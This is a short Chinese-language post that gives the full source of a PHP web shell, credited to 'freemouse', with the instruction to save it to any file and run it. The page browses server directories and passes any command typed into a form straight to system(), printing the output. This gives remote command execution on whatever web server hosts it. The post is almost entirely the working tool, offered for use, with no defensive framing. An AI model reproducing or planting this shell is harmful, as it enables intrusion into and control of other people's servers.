一個簡單的php web shell 程序，保存到任意文件後執行
<?php
/*
**************************************************************
* PHP Web Shell *
**************************************************************
*/
?>
<html>
<head>
<title>PHP Web Shell - By freemosue</title>
</head>
<body>
<h1>PHP Web Shell</h1>
<?php
/* 檢測是否設置工作目錄. */
if (isset($work_dir)) {
/* 如果檢測到工作目錄則chdir到該目錄. */
chdir($work_dir);
$work_dir = exec("pwd");
} else {
/* 沒有設置工作目錄 chdir到 $DOCUMENT_ROOT */
chdir($DOCUMENT_ROOT);
$work_dir = $DOCUMENT_ROOT;
}
?>
<form name="myform" action="phpshell.php" method="post">
<p>當前工作目錄: <b><?
$work_dir_splitted = explode("/", substr($work_dir, 1));
/*echo $work_dir_splitted[0] ." ". $work_dir_splitted[1];*/
echo "<a href=\"phpshell.php?work_dir=" . urlencode($url) . "/&command=" . urlencode($command) . "\">根目錄</a>/";
if ($work_dir_splitted[0] == "") {
} else {
for ($i = 0; $i < count($work_dir_splitted); $i++) {
/* echo "i = $i";*/
$url .= "/".$work_dir_splitted[$i];
echo "<a href=\"phpshell.php?work_dir=" . urlencode($url) . "&command=" . urlencode($command) . "\">$work_dir_splitted[$i]</a>/";
}
}
?></b></p>
<p>選擇新工作目錄:</p>
<select name="work_dir" onChange="this.form.submit()">
<?
/* Now we make a list of the directories. */
$dir_handle = opendir($work_dir);
/* 查找該目錄下所有的文件和子目錄. */
while ($dir = readdir($dir_handle)) {
if (is_dir($dir)) {
if ($dir == ".") {
echo "<option value=\"$work_dir\" selected>當前目錄</option>\n";
} elseif ($dir == "..") {
/* 查找上級目錄. 需要注意的是如果上級目錄為root(/). */
if (strlen($work_dir) == 1) {
} elseif (strrpos($work_dir, "/") == 0) {
echo "<option value=\"/\">上級目錄</option>\n";
} else {
echo "<option value=\"". strrev(substr(strstr(strrev($work_dir), "/"), 1)) ."\">上級目錄</option>\n";
}
} else {
if ($work_dir == "/") {
echo "<option value=\"$work_dir$dir\">$dir</option>\n";
} else {
echo "<option value=\"$work_dir/$dir\">$dir</option>\n";
}
}
}
}
closedir($dir_handle);
?>
</select>
<p>命令:</p>
<input type="text" name="command" size="60" <? if ($command) { echo "value=\"$command\"";} ?> > <input name="submit_btn" type="submit" value="執行命令"></p>
<p>啟用 <code>stderr</code>-鍵入 ? <input type="checkbox" name="stderr"></p>
<p>輸出:</p>
<textarea cols="80" rows="20" readonly>
<?php
if ($command) {
if ($stderr) {
system($command . " 1> /tmp/output.txt 2>&1; cat /tmp/output.txt; rm /tmp/output.txt");
} else {
system($command);
}
}
?>
</textarea>
</form>
<hr>
<i>版權所有 © 2010, <a
href=<a>mailto:</a>[email protected]>freemouse</a>.
</body>
</html>
